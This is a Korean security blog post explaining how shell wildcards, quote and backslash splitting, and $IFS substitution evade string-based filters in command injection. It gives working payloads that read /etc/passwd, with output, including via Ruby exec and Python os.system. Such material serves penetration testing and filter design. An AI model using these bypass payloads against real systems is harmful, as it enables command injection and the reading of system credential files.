WildCards?
Wildcard는 OS에서 파일에 대해 다중처리를 위해 사용되는 기호입니다. 보편적으로 많이 사용하는건 * ? 등이 있고 덕분에 번거로운 작업을 한번에 처리할 수 있게 되죠.뭐 대충 이런 경우이죠.
#> rm *.txt => .txt 로 끝나는 모든 파일을 삭제하라.
정리해보면 이정도 문자들이 있습니다.
.(dot) => 현재 위치, grep 에선 *과 동일 ?(question mark) => 내용을 모를 때 *(asterisk) => 포함하는 모든 \(backslash) -(dash) => 해당 범위 (1-5) [](square brackets) => 괄호 내 문자 식별 [!](not) => 부정 ㅋㅋㅋ
와일드 카드를 활용하면 완벽하게 기억이 나지 않는 path, command에 대해서도
/???/?at
echo /*/*ss*
http://tldp.org/LDP/GNU-Linux-Tools-Summary/html/x11655.htm
Evasion 1 - Wildcards
Wildcard를 이용하면 문자를 적게 사용하면서 명령어를 쓸 수 있습니다. 이것을 이용해서 문자열 기반의 필터링 규칙을 우회할 수 있게 됩니다.원본 구문
#> cat /etc/passwd
Evasion
#> cat /???/??ss?? #> cat /???/pass*
모두 passwd 파일을 불러올 수 있습니다.
Output
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin [....]
Evasion 2 - Quotation marks and backslash
quot(" ') 문자와 backslash는 문자열을 표기합니다. 커맨드라인에서도 동일하게 문자열을 표기하는데, quot, slash가 있던 없던 명령으로 보기 때문에 문자열을 자르는 용도로도 사용이 가능합니다.아래 명령을 보면..
#> whoami #> who'a'mi #> who"a"mi
모두 사용자 계정이 확인됩니다. 위에 wildcard와 조합을 해보면.. 이런 패턴이 가능하겠지요.
#> cat /???/pas's'?? #> cat /???/pas"s"?? #> cat /e*c/pa\s\swd
Evasion 3 - $IFS(입력필드 구분자)
공백 사용 불가능한 상황에선 내부변수나 특수문자 ,< 등을 이용해서 우회가 가능합니다.여기서 $IFS는 입력필드 구분자로 기본적으로 따로 쓰이면 공백과 같은 의미를 지니며 특정 값에 대해 공백으로 치환해줄 수 있습니다.
#> IFS=,;`cat<<<cat,/etc/passwd` #> cat$IFS/etc/passwd #> cat${IFS}/etc/passwd #> cat</etc/passwd #> {cat,/etc/passwd}
언어에서 사용하는 부분도 똑같이 적용될까?
모든 함수가 공통적이진 않겠지만, 기본적으로 os 관련 함수는 동일하게 wildcard 처리를 진행합니다.Ruby exec
irb(main):001:0> exec("cat /???/??ss??")
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Python os.system
>>> os.system("cat /???/??ss??")
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
추가적인 포인트?
쉘에선 wildcard와 같이 여러가지 사용할 수 있는 트릭들이 존재합니다. 잘 활용해보면 또다른 패턴을 만들 수 있을 것 같네요 :)$1, $2, $3, ... are the positional parameters.
"$@" is an array-like construct of all positional parameters, {$1, $2, $3 ...}.
"$*" is the IFS expansion of all positional parameters, $1 $2 $3 ....
$# is the number of positional parameters.
$- current options set for the shell.
$$ pid of the current shell (not subshell).
$_ most recent parameter (or the abs path of the command to start the current shell immediately after startup).
$IFS is the (input) field separator.
$? is the most recent foreground pipeline exit status.
$! is the PID of the most recent background command.
$0 is the name of the shell or shell script.
(https://stackoverflow.com/questions/5163144/what-are-the-special-dollar-sign-shell-variables)
HAHWULSecurity engineer, Gopher and H4cker! |
이메일 확인 부탁드려요
ReplyDelete